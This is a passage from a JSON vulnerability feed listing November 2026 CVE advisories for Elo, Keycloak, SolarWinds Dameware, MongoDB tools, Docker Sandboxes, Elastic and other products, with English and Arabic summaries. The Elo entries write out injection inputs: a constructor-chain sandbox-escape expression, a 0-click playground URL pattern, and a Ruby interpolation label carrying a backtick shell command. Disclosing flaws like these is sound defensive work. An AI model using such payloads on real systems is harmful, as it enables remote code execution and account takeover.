output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning. Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code. ### Attack surfaces All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch: | # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | `bin/el…","ar":"### Summary An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\" ### Vulnerable sink and root cause Three interacting sites in `src/` produce the bug at commit `749af7b`: 1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist. 2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript. 3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning. Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code. ### Attack surfaces All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch: | # | Entry point | Threat model | |---|---|---| | 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. | | 2 | `bin/el…"},"refs":[["https://github.com/advisories/GHSA-33r5-xmm8-v6x5","advisory"],["https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5","ref"],["https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842","ref"],["https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"enspirit-elo"},{"id":"CVE-2026-44266","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:51:30Z","product":"@enspirit/elo","affected":[["<= 1.0.0","1.0.1"]],"title":{"en":"Elo Ruby backend has Remote Code Execution via unescaped `#{...}` interpolation in emitted string literals and subtype-constraint labels","ar":"ثغرة تنفيذ أوامر عن بُعد في @enspirit/elo"},"summary":{"en":"### Summary Elo's Ruby backend emits attacker-controlled text into Ruby double-quoted strings without escaping the `#` character. Because `#` begins Ruby's interpolation sequences — `#{expr}`, `#@ivar`, `#@@cvar`, `#$gvar` — and any expression wrapped in `#{...}` may use backticks for shell execution, an Elo program that contains a crafted string literal or a labelled subtype constraint compiles to Ruby that evaluates attacker-chosen Ruby, and through backticks runs attacker-chosen shell commands, at runtime. The same Elo source compiled to JavaScript, Python, or SQL is benign, so the bug also breaks the cross-target portability guarantee the rest of the compiler honours. ### Vulnerable sinks Two sinks exist in `src/compilers/ruby.ts` at commit `749af7b`: 1. **String-literal emitter — lines 180–184.** The emitter escapes backslash, double quote, and control characters, but not `#`. Any `#{...}` sequence in an Elo string literal flows straight into the emitted Ruby source. 2. **Labelled subtype-constraint branch — lines 405–412.** The error message passed to `p_fail(p, \"...\")` is wrapped in a Ruby double-quoted string with no escape pass at all. Because the parser at `src/parser.ts:1339–1348` accepts single-quoted Elo strings as constraint labels, a label such as `'#{` `` `id` `` `}'` flows unchanged into the emitted Ruby. ### Attack surfaces All three surfaces share the same root cause (the missing `#` escape in the Ruby double-quoted-string emission path) and are addressed by the same patch: | # | Entry point | Threat model | |---|---|---| | 1 | `/try` playground on elo-lang.org (Ruby target) | 0-click server-side RCE against elo-lang.org infrastructure from a shared PoC URL | | 2 | `bin/eloc -t ruby -x` on a CI or DevOps host | RCE on any host that passes Elo strings through the CLI | | 3 | Library API — `defaultFormats.elo.parse()` with a Ruby emission step | Ruby RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DS…","ar":"### Summary Elo's Ruby backend emits attacker-controlled text into Ruby double-quoted strings without escaping the `#` character. Because `#` begins Ruby's interpolation sequences — `#{expr}`, `#@ivar`, `#@@cvar`, `#$gvar` — and any expression wrapped in `#{...}` may use backticks for shell execution, an Elo program that contains a crafted string literal or a labelled subtype constraint compiles to Ruby that evaluates attacker-chosen Ruby, and through backticks runs attacker-chosen shell commands, at runtime. The same Elo source compiled to JavaScript, Python, or SQL is benign, so the bug also breaks the cross-target portability guarantee the rest of the compiler honours. ### Vulnerable sinks Two sinks exist in `src/compilers/ruby.ts` at commit `749af7b`: 1. **String-literal emitter — lines 180–184.** The emitter escapes backslash, double quote, and control characters, but not `#`. Any `#{...}` sequence in an Elo string literal flows straight into the emitted Ruby source. 2. **Labelled subtype-constraint branch — lines 405–412.** The error message passed to `p_fail(p, \"...\")` is wrapped in a Ruby double-quoted string with no escape pass at all. Because the parser at `src/parser.ts:1339–1348` accepts single-quoted Elo strings as constraint labels, a label such as `'#{` `` `id` `` `}'` flows unchanged into the emitted Ruby. ### Attack surfaces All three surfaces share the same root cause (the missing `#` escape in the Ruby double-quoted-string emission path) and are addressed by the same patch: | # | Entry point | Threat model | |---|---|---| | 1 | `/try` playground on elo-lang.org (Ruby target) | 0-click server-side RCE against elo-lang.org infrastructure from a shared PoC URL | | 2 | `bin/eloc -t ruby -x` on a CI or DevOps host | RCE on any host that passes Elo strings through the CLI | | 3 | Library API — `defaultFormats.elo.parse()` with a Ruby emission step | Ruby RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DS…"},"refs":[["https://github.com/advisories/GHSA-7w38-ggh5-v542","advisory"],["https://github.com/enspirit/elo/security/advisories/GHSA-7w38-ggh5-v542","ref"],["https://github.com/enspirit/elo/commit/51b869963fbe445c18328714a7ccfbd76b21ba38","ref"],["https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"enspirit-elo"},{"id":"CVE-2026-44265","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:47:03Z","product":"enspirit elo","affected":[["<= 1.0.0","1.0.1"]],"title":{"en":"Elo: Code injection in Elo backends via unvalidated emission of programmatic AST fields","ar":"Elo: حقن الشيفرات في خلفيات Elo عبر الإصدار غير المُحَقَّق لحقول الشجرة النحوية المجردة البرمجية"},"summary":{"en":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, Elo's programmatic AST API accepts arbitrary values from JSON-deserialized input, plugin output, or other untyped sources and interpolates them into generated JavaScript, Ruby, Python, or SQL without runtime syntax validation. The affected fields are int_literal / float_literal .value, variable.name, member_access.property, object_literal keys, datapath segments, lambda.params[].name, and the SQL let binding name. Crafted values become executable expressions or identifiers, allowing arbitrary code execution in JavaScript, Ruby, and Python targets and SQL injection in the SQL target. This programmatic AST-object path is distinct from the plain-string constructor-chain sandbox escape. This issue is fixed in version 1.0.1.","ar":"إن Elo هي لغة تعبيرات وظيفية بحتة للأدوات التي لا تتطلب كتابة كود. قبل الإصدار 1.0.1، تقبل واجهة برمجة التطبيقات للشجرة النحوية المجردة البرمجية في Elo قيمًا عشوائية من المدخلات المفككة من JSON أو مخرجات الإضافات أو مصادر أخرى غير مصنفة وتضمنها في كود JavaScript أو Ruby أو Python أو SQL المولّد دون التحقق من صحة البنية وقت التشغيل. تتيح القيم المُصَاغَة خصيصاً تنفيذ شيفرة عشوائية في أهداف JavaScript و Ruby و Python وحقن SQL في هدف SQL. تم إصلاح هذه المشكلة في الإصدار 1.0.1."},"refs":[["https://github.com/advisories/GHSA-x9rp-7wh3-2rj5","advisory"],["https://github.com/enspirit/elo/security/advisories/GHSA-x9rp-7wh3-2rj5","ref"],["https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","ref"],["https://github.com/enspirit/elo/commit/fb57dd37a2669d9c412454225c5b89a2adba5d93","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"enspirit-elo"},{"id":"CVE-2026-11800","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-347","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:24:27Z","product":"org.keycloak:keycloak-services","affected":[["< 26.6.4","26.6.4"]],"title":{"en":"Keycloak has authentication bypass via jwt algorithm confusion","ar":"تجاوز المصادقة في Keycloak عبر التباس خوارزمية jwt"},"summary":{"en":"### Description A flaw was found in Keycloak. This JWT algorithm confusion vulnerability in the JWT Authorization Grant flow allows an attacker with valid client credentials to bypass signature verification. By forging an assertion, the attacker can create unauthorized access tokens. This enables the attacker to impersonate any federated user linked to the affected Identity Provider, leading to unauthorized access and potential privilege escalation.","ar":"الوصف: عُثر على ثغرة في Keycloak. تتيح ثغرة التباس خوارزمية JWT في تدفق منح تفويض JWT لمهاجم يملك بيانات اعتماد عميل صالحة تجاوز التحقق من التوقيع. من خلال تزوير تأكيد، يمكن للمهاجم إنشاء رموز وصول غير مصرح بها. يتيح ذلك للمهاجم انتحال صفة أي مستخدم موحد مرتبط بـ Identity Provider المتأثر، مما يؤدي إلى وصول غير مصرح به واحتمال تصعيد الصلاحيات."},"refs":[["https://github.com/advisories/GHSA-j97h-3f8r-mrjr","advisory"],["https://github.com/keycloak/keycloak/security/advisories/GHSA-j97h-3f8r-mrjr","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-11800","ref"],["https://github.com/keycloak/keycloak/issues/50357","ref"],["https://github.com/keycloak/keycloak/pull/50374","ref"],["https://github.com/keycloak/keycloak/commit/6d61885f20ac59a2ff8b823fc9ed1f1ef1019951","ref"],["https://github.com/keycloak/keycloak/commit/d343c7373dcc7bfeb9dc14de2309836299c81837","ref"],["https://access.redhat.com/errata/RHSA-2026:30083","ref"],["https://access.redhat.com/errata/RHSA-2026:30084","ref"],["https://access.redhat.com/security/cve/CVE-2026-11800","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2487006","ref"],["https://github.com/keycloak/keycloak/releases/tag/26.6.4","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"org-keycloak-keycloak-services"},{"id":"CVE-2026-28327","cvss":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-427","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T17:18:12Z","product":"SolarWinds Dameware","affected":[["0 – 2026.3",null]],"title":{"en":"SolarWinds Dameware DLL Hijacking Vulnerability","ar":"ثغرة اختطاف DLL في SolarWinds Dameware"},"summary":{"en":"SolarWinds Dameware was found to be affected by a DLL hijacking vulnerability. The hijack occurs during installations only and requires access to the local machine and admin privileges.","ar":"عُثر على تأثر لمنتج SolarWinds Dameware بثغرة اختطاف DLL. يحدث الاختطاف أثناء عمليات التثبيت فقط ويتطلب الوصول إلى الجهاز المحلي وصلاحيات المشرف."},"refs":[["https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28327","advisory"],["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"solarwinds-dameware"},{"id":"CVE-2026-28335","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-20","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T17:18:12Z","product":"SolarWinds Dameware","affected":[["0 – 2026.3",null]],"title":{"en":"SolarWinds Dameware Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت في SolarWinds Dameware"},"summary":{"en":"SolarWinds Dameware was found to be affected by a buffer overflow vulnerability that can result in remote code execution. Authentication is required.","ar":"عُثر على تأثر لمنتج SolarWinds Dameware بثغرة فيضان المخزن المؤقت التي يمكن أن تؤدي إلى تنفيذ أوامر عن بُعد. المصادقة مطلوبة."},"refs":[["https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28335","advisory"],["https://https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"solarwinds-dameware"},{"id":"CVE-2026-28336","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T17:18:12Z","product":"SolarWinds Dameware","affected":[["0 – 2026.3",null]],"title":{"en":"SolarWinds Dameware Command Injection Vulnerability","ar":"ثغرة حقن الأوامر في SolarWinds Dameware"},"summary":{"en":"SolarWinds Dameware was found to be affected by a command injection vulnerability that could lead to the compromise of the remotely controlled host. Authentication is required.","ar":"عُثر على تأثر لمنتج SolarWinds Dameware بثغرة حقن الأوامر التي قد تؤدي إلى اختراق المضيف الذي يتم التحكم فيه عن بُعد. المصادقة مطلوبة."},"refs":[["https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28336","advisory"],["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"solarwinds-dameware"},{"id":"CVE-2026-119675","cvss":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-706","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:18:07Z","product":"MongoDB Database Tools","affected":[["100.4.0 – <100.20.1","100.20.1"]],"title":{"en":"mongorestore may bypass collection guards through a system.buckets prefix","ar":"قد يتجاوز mongorestore حمايات المجموعات عبر بادئة system.buckets"},"summary":{"en":"MongoDB Database Tools mongorestore inconsistently handles the system.buckets. prefix when validating collection names in an untrusted dump. A specially crafted collection name can bypass special-collection guards and operator namespace filters, causing a restore to create an unauthorized user-chosen database account, including an account with the root role. Exploitation requires an operator to restore unauthorized user-controlled data using credentials with sufficient user-management privileges on the destination deployment. Excluding the admin namespace alone does not prevent this behavior. This issue affects MongoDB Database Tools versions 100.4.0 through versions before 100.20.1.","ar":"تعامل أداة mongorestore التابعة لـ MongoDB Database Tools بادئة system.buckets. بشكل غير متسق عند التحقق من صحة أسماء المجموعات في تفريغ غير موثوق. يمكن لاسم مجموعة مصمم خصيصًا تجاوز حمايات المجموعات الخاصة ومرشحات مساحة اسم المشغل، مما يتسبب في قيام عملية الاستعادة بإنشاء حساب قاعدة بيانات غير مصرح به يختاره المستخدم، بما في ذلك حساب بصلاحية root. يتطلب الاستغلال قيام مشغل باستعادة بيانات غير مصرح بها يتحكم بها المستخدم باستخدام بيانات اعتماد ذات صلاحيات كافية لإدارة المستخدمين على نشر الوجهة. استبعاد مساحة اسم admin وحدها لا يمنع هذا السلوك. تؤثر هذه المشكلة على إصدارات MongoDB Database Tools من 100.4.0 حتى الإصدارات السابقة لـ 100.20.1."},"refs":[["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-database-tools"},{"id":"CVE-2026-109593","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-636","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T17:17:53Z","product":"SonicWall Global Management System (GMS)","affected":[],"title":{"en":"An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially ex","ar":"قد يتمكن مهاجم دون مصادقة ولديه وصول شبكي إلى SonicWall GMS 9.5.2 والإصدارات السابقة من قراءة ملفات GMS الداخلية، مما قد يسرب..."},"summary":{"en":"An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing sensitive information.","ar":"قد يتمكن مهاجم دون مصادقة ولديه وصول شبكي إلى SonicWall GMS 9.5.2 والإصدارات السابقة من قراءة ملفات GMS الداخلية، مما قد يؤدي إلى كشف معلومات حساسة."},"refs":[["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sonicwall-global-management-system"},{"id":"CVE-2026-103916","cvss":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:17:52Z","product":"Docker Docker Sandboxes","affected":[["0.28.0 – <0.51.0","0.51.0"]],"title":{"en":"Docker Sandboxes sbx cp follows workspace symlinks outside the authorized host directory","ar":"أداة Docker Sandboxes sbx cp تتبع الروابط الرمزية لمساحة العمل خارج دليل المضيف المسموح به"},"summary":{"en":"Docker Sandboxes sbx cp does not safely confine host-side paths to a shared workspace. A malicious sandbox can create or replace a workspace symlink so that a later user-initiated copy reads a host file outside the workspace into the sandbox or writes sandbox-controlled data to a host path outside the workspace with the invoking user's permissions.","ar":"لا تقوم أداة Docker Sandboxes sbx cp بحصر مسارات جهة المضيف بشكل آمن داخل مساحة عمل مشتركة. يمكن لصندوق الحماية الضار إنشاء أو استبدال رابط رمزي لمساحة العمل بحيث تقوم عملية نسخ لاحقة يبادر بها المستخدم بقراءة ملف مضيف خارج مساحة العمل إلى داخل صندوق الحماية، أو كتابة بيانات متحكم بها من صندوق الحماية إلى مسار مضيف خارج مساحة العمل باستخدام صلاحيات المستخدم المُستدعي."},"refs":[["https://docs.docker.com/ai/sandboxes/","ref"],["https://docs.docker.com/ai/sandboxes/security/isolation/","ref"],["https://github.com/docker/sbx-releases/releases/tag/v0.51.0","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"docker-sandboxes"},{"id":"CVE-2026-121624","cvss":7.6,"vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T17:13:52Z","product":"Nanosystems Supremo","affected":[["0 – <5.0.2.3874","5.0.2.3874"]],"title":{"en":"Nanosystems Supremo before 5.0.2.3874 Improper TLS Certificate Validation","ar":"ثغرة التحقق غير السليم من شهادة TLS في Nanosystems Supremo قبل الإصدار 5.0.2.3874"},"summary":{"en":"Nanosystems Supremo for Windows and macOS before 5.0.2.3874 contains an improper certificate validation vulnerability that allows adjacent attackers to intercept TLS connections by presenting untrusted certificates. Attackers on the same network can terminate and relay the client's TLS session using self-signed certificates to read usernames, SHA-256 password hashes, and license codes.","ar":"يحتوي تطبيق Nanosystems Supremo لنظامي التشغيل Windows وmacOS قبل الإصدار 5.0.2.3874 على ثغرة تحقق غير سليم من الشهادات تسمح للمهاجمين المتواجدين على نفس الشبكة لاعتراض اتصالات TLS من خلال تقديم شهادات غير موثوقة. يمكن للمهاجمين على نفس الشبكة إنهاء وتمرير جلسة TLS الخاصة بالعميل باستخدام شهادات موقعة ذاتيًا لقراءة أسماء المستخدمين وقيم SHA-256 المجزأة كلمات المرور ورموز الترخيص."},"refs":[["https://www.vulncheck.com/advisories/nanosystems-supremo-before-5.0.2.3874-improper-tls-certificate-validation","advisory"],["https://pusi77.eu.org/blog/2026-11-03-supremo-tls-cve","ref"],["https://www.supremocontrol.com/changelog/","ref"],["https://www.supremocontrol.com/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nanosystems-supremo"},{"id":"CVE-2026-115714","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T16:44:18Z","product":"Elastic Elastic Docker images","affected":[["8.0.0 – 8.19.23",null],["9.0.0 – 9.4.8",null],["9.5.0 – 9.5.5",null]],"title":{"en":"Improper Certificate Validation in Elastic Docker Images Leading to Interception of TLS Connections","ar":"التحقق غير السليم من الشهادات في صور Docker الخاصة بـ Elastic يؤدي إلى اعتراض اتصالات TLS"},"summary":{"en":"Improper Certificate Validation (CWE-295) in the operating system certificate bundle shipped in the Docker images of APM Server; Auditbeat, Filebeat, Heartbeat, Metricbeat and Packetbeat; Elastic Agent, including Fleet Server and Cloudbeat; Logstash, for TLS connections that use the operating system certificate bundle; Elastic connectors; Universal Profiling (host agent, collector and symbolizer); and Elastic Maps Server. This certificate bundle, a dependency of these products (Dependency on Vulnerable Third-Party Component, CWE-1395), could allow an attacker to intercept or modify TLS-protected traffic via Signature Spoofing by Key Theft (CAPEC-474). The certificate bundle includes root certificate authorities that signed eight eMudhra intermediate certificate authorities whose private keys are compromised. Anyone with these keys can issue a certificate for any host name that these products accept as trusted. Exploitation requires an attacker in a network position between the product and the remote party, who presents a certificate issued with one of the compromised keys.","ar":"يوجد تحقق غير سليم من الشهادات (CWE-295) في حزمة شهادات نظام التشغيل المضمنة في صور Docker لكل من APM Server؛ وAuditbeat وFilebeat وHeartbeat وMetricbeat وPacketbeat؛ وElastic Agent، بما في ذلك Fleet Server وCloudbeat؛ وLogstash، بالنسبة لاتصالات TLS التي تستخدم حزمة شهادات نظام التشغيل؛ وموصلات Elastic؛ وUniversal Profiling (وكيل المضيف، جامع البيانات ومحول الرموز)؛ وElastic Maps Server. هذه الحزمة، وهي تبعية لهذه المنتجات (تبعيات على مكون طرف ثالث مصاب، CWE-1395)، قد تسمح للمهاجم با اعتراض أو تعديل حركة المرور المحمية بواسطة TLS عبر انتحال التوقيع عن طريق سرقة المفاتيح (CAPEC-474). تتضمن حزمة الشهادات سلطات إصدار شهادات جذرية قامت بالتوقيع على ثماني سلطات إصدار شهادات وسيطة تابعة لـ eMudhra سُرق مفاتيحها الخاصة. يمكن لأي شخص يمتلك هذه المفاتيح إصدار شهادة لأي اسم مضيف تقبله هذه المنتجات كموثوق به. يتطلب الاستغلال وجود مهاجم في موقع شبكي بين المنتج والطرف البعيد، والذي يعرض شهادة صادرة بأحد المفاتيح المخترقة."},"refs":[["https://discuss.elastic.co/t/multiple-elastic-docker-images-8-19-24-9-4-9-9-5-6-security-update-esa-2026-237/391374","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"elastic-docker-images"},{"id":"CVE-2026-115294","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T16:44:04Z","product":"Elastic Kibana","affected":[["9.3.0 – 9.4.8",null],["9.5.0 – 9.5.5",null]],"title":{"en":"Improper Limitation of a Pathname to a Restricted Directory in Kibana Leading to Unauthorized Resource Deletion","ar":"التقييد غير السليم لمسار الملفات إلى دليل مقيد في Kibana يؤدي إلى حذف الموارد دون ترخيص"},"summary":{"en":"Improper Limitation of a Pathname to a Restricted Directory (CWE-22) in the Kibana Fleet feature can lead to unauthorized resource deletion via Path Traversal (CAPEC-126). A low-privileged user with Fleet agent policies write access could cause a subsequent administrative action to act on unintended resources. This can result in the deletion of resources such as Kibana spaces and other organizational assets that the low-privileged user cannot delete directly. Exploitation requires an administrator to interact with the affected Fleet interface.","ar":"يوجد تقييد غير سليم لمسار الملفات إلى دليل مقيد (CWE-22) في ميزة Kibana Fleet مما قد يؤدي إلى حذف الموارد دون ترخيص عبر اجتياز المسار (CAPEC-126). يمكن لمستخدم ذي صلاحيات منخفضة ولديه حق كتابة سياسات وكيل Fleet أن يتسبب في تنفيذ إجراء إداري لاحق على موارد غير مقصودة. يمكن أن ينتج عن ذلك حذف موارد مثل مساحات Kibana وأصول مؤسسية أخرى لا يمكن للمستخدم ذي الصلاحيات المنخفضة حذفها بشكل مباشر. يتطلب الاستغلال تفاعل المسؤول مع واجهة Fleet المتأثرة."},"refs":[["https://discuss.elastic.co/t/kibana-9-4-9-9-5-6-security-update-esa-2026-205/391359","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"elastic-kibana"},{"id":"CVE-2026-115290","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-674","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T16:43:59Z","product":"Elastic Elasticsearch","affected":[["8.10.0 – 8.19.23",null],["9.0.0 – 9.4.8",null],["9.5.0 – 9.5.5",null]],"title":{"en":"Uncontrolled Recursion in Elasticsearch Leading to Denial of Service","ar":"الاستدعاء الذاتي غير المتحكم فيه في Elasticsearch يؤدي إلى حجب الخدمة"},"summary":{"en":"Uncontrolled Recursion (CWE-674) in Elasticsearch can lead to denial of service via Serialized Data with Nested Payloads (CAPEC-230). An unauthenticated attacker with network access to the remote cluster server interface of a node can send a specially crafted request that causes the node to terminate. No credentials are required. The attacker can repeat the request against each reachable node.","ar":"يوجد استدعاء ذاتي غير متحكم فيه (CWE-674) في Elasticsearch يمكن أن يؤدي إلى حجب الخدمة عبر بيانات متسلسلة تحتوي على حمولات متداخلة (CAPEC-230). يمكن لمهاجم دون مصادقة يتمتع بصلاحية الوصول عبر الشبكة إلى واجهة خادم الكتلة البعيدة لعقدة ما إرسال طلب مُصمم خصيصاً يتسبب في إنهاء عمل العقدة. لا يلزم توفر أي بيانات اعتماد. يمكن للمهاجم تكرار الطلب ضد كل عقدة يمكن الوصول إليها."},"refs":[["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-201/391356","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"elastic-elasticsearch"},{"id":"CVE-2026-121602","cvss":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-122","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T16:26:54Z","product":"solanum-ircd solanum","affected":[],"title":{"en":"Solanum before commit 2ce64de Heap Buffer Overflow via JOIN and SJOIN","ar":"Solanum قبل الالتزام 2ce64de مصاب بثغرة فيضان المخزن المؤقت للكومة عبر JOIN و SJOIN"},"summary":{"en":"Solanum before commit 2ce64de contains a heap-based buffer overflow vulnerability that allows a malicious linked server to corrupt memory by sending overlong channel names in JOIN or SJOIN messages. Attackers controlling a peer server can trigger strcpy and sprintf overflows in ms_join and ms_sjoin to crash the ircd or potentially achieve remote code execution.","ar":"يحتوي Solanum قبل الالتزام 2ce64de على ثغرة فيضان المخزن المؤقت المستندة إلى الكومة والتي تتيح لخادم مرتبط خبيث إفساد الذاكرة عن طريق إرسال أسماء قنوات طويلة بشكل مفرط في رسائل JOIN أو SJOIN. يمكن للمهاجمين الذين يسيطرون على خادم نظير تشغيل فيضان strcpy و sprintf في ms_join و ms_sjoin لتنفيذ تعطل في ircd أو ربما تحقيق تنفيذ أوامر عن 